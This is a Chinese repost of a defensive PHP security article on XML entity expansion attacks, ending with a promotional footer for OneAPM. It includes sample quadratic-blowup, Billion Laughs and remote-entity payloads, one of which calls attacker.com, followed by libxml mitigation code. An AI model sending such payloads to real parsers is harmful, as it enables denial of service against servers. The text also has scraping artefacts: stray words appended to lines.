XMl Entity Expansion(攻擊)某種程度上相似於 XML Entity Expansion,可是它主要試圖經過消耗目標程序的服務器環境來進行DOS攻擊的。這種攻擊基於XML Entity Expansion實現,經過在XML的DOCTYPE
中建立自定義實體的定義實現,好比,這種定義能夠在內存中生成一個比XML的原始容許大小大出不少的XML結構,來使這種攻擊得以耗盡網絡服務器正常有效運行的必需內存資源。這種攻擊方式一樣適用於HTML5的XML序列化功能模塊,該模塊當前還不能被libxml2
擴展包識別爲HTML。php
要擴展XML自定義實體以達到預期的耗盡服務器資源效果有好幾種方式。 ###Generic Entity Expansionhtml
###通用實體擴展攻擊node
通用實體擴展攻擊一樣被稱爲「Quadratic Blowup Attack」,使用這種方式時,自定義實體被定義爲一個極長的字符串。當文件中大量使用這個實體時,該實體在每次調用時都會進行擴展,生成一個大幅超出原XML所需RAM大小的XML結構。安全
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
經過平衡自定義實體字符串大小和文檔主體內使用實體數量,能夠建立一個擴展至佔用服務器可預測RAM空間大小的XML文檔或字符串。經過這樣重複請求來佔用服務器RAM,就能夠發動一次成功的拒絕服務攻擊。該方式的缺陷是,因爲產生內存消耗效果是基於簡單數乘的,所以初始XML文檔或字符串自己須要足夠大。服務器
###遞歸實體擴展攻擊網絡
通用實體擴展攻擊須要足夠大的XML輸入數據量,而遞歸實體擴展攻擊的平均輸入字節能產生更強力的攻擊效果。這種攻擊方式依賴於XML解析器來解析,從而完成小實體集的指數級增加。經過這種指數爆炸性增加方式,一個比通用實體擴展攻擊使用小得多的輸入數據量實際可增加得極大。所以這種方式被稱爲「XML Bomb」或是「Billion Laughs Attack」也是十分恰切的。dom
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
XML Bomb攻擊並不須要可能會被程序限制的大量XML數據輸入。實體集像這樣指數倍增加,最終造成的擴展後文本大小是初始 &x0
實體值的2的100次方倍。這着實是一個龐大且毀滅性超強的炸彈!函數
###遠程實體擴展攻擊性能
常規和遞歸實體擴展攻擊都依賴於XML文檔類型定義中定義在本地的實體,可是攻擊者一樣能夠進行外部實體定義。這很顯然須要XML解析器可以像咱們以前在描述XML外部實體注入式攻擊(XXE)時遇到的那樣,發起遠程HTTP請求。而拒絕這種請求對你的XML解析器而言是一種基礎的安保措施。所以,防護XXE攻擊的措施一樣適用於此類XML實體擴展攻擊。this
雖然說能夠經過上述方式進行防護,遠程實體擴展經過使XML解析器發出遠程HTTP請求來得到被引用實體的擴展值來進行攻擊。返回結果將自行定義其餘XML解析器必須另行HTTP請求的外部實體。如此一來,一些看似並沒有攻擊性的請求會迅速脫離控制,並給服務器的可用資源帶來負擔。這種狀況下,若是請求自包括一個遞歸擴展攻擊,那最終結果會更加糟糕。
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
上述攻擊手法還有可能更加迂迴地進行DOS攻擊,好比,遠程請求被調整到針對本地程序或其餘任何共享其服務器資源的程序。這種攻擊方式可能形成自我損傷式的DOS攻擊,其中, XML解析器嘗試解析外部實體可能會觸發無數針對本地程序的請求,並由此消耗更多的服務器資源。該方式所以被用於放大以前討論過的關於使用XML外部實體注入式攻擊(XXE)以完成DOS攻擊的攻擊影響。
##針對XML實體擴展攻擊的防護措施
下列常規防護措施,是從咱們針對普通XML外部實體攻擊(XXE)的防護措施繼承而來的。咱們應當拒絕XML中自定義實體對本地文件和遠程HTTP請求的解析,並可以使用如下可全局應用於全部內部使用了libxml2
函數的PHP或XML所書寫擴展的函數進行拒絕。
libxml_disable_entity_loader(true);
誠然PHP以不按常理出牌著稱,它並不使用常規的防護方式。常規的防護方式在文檔類型聲明中,使用XML的文檔類型定義來徹底拒絕經過自定義實體的定義。PHP也的確爲防護功能定義了一個替代實體的LIBXML_NOENT
常量,以及DOMDocument::$substituteEntities
公共屬性,可是使用這兩條定義的防護效果不甚明顯。彷佛咱們只能這樣將就解決問題,而沒有任何更好的解決方案。
雖然說沒有更好的方案,libxml2
函數也確實內置了默認拒絕遞歸實體解析。要知道遞歸實體要是出了問題但是能讓你的錯誤日誌」咻」地一下跟點亮聖誕樹同樣全面飄紅的。如此看來,好像也不必特地針對遞歸實體使用一種特殊防護手段,儘管咱們是得作點什麼來防止萬一libxml2
函數忽然陷回解析遞歸實體的故障裏去。
當下新型威脅主要來自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻擊方式。此類攻擊方式不須要調用遠程或本地系統,也不須要實體遞歸。事實上,惟一的防護措施要麼是不用XML,要麼是清理過濾全部包含文檔類型聲明的XML。除非要求的文檔類型聲明接收於安全的可信源,不然最安全的作法就是不用XML了。好比,咱們是由同行驗證的HTTPS鏈接接受的。不然,既然PHP沒給咱們提供禁用文檔類型定義的選項,那咱們就只能自建邏輯了。假定你能調用libxml_disable_entity_loader(TRUE)
,那麼後續程序運行就是安全的了,由於實體擴展這一步已經被遞延到被擴展影響的節點值可被再次訪問的時候了(然而勾選TURE之後永遠都訪問不到了)。
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
固然啦,在libxml_disable_entity_loader
被設定爲TRUE
的前提下,以上代碼才能正常運行,設定後XML初始加載的時外部實體引用就不會被解析了。除非解析器本身有一套全面的針對如何進行實體解析的控制選項,不然XML解析器不依賴libxml2
函數進行解析時,恐怕這就是惟一的防護措施了。
若是你想使用SimpleXML函數,記得用the simplexml_import_dom()
函數來轉換覈驗過的DOMDocument
項目。
原文地址:Injection Attacks
OneAPM for PHP 可以深刻到全部 PHP 應用內部完成應用性能管理 可以深刻到全部 PHP 應用內部完成應用性能管理和監控,包括代碼級別性能問題的可見性、性能瓶頸的快速識別與追溯、真實用戶體驗監控、服務器監控和端到端的應用性能管理。想閱讀更多技術文章,請訪問 OneAPM 官方技術博客。 本文轉自 OneAPM 官方博客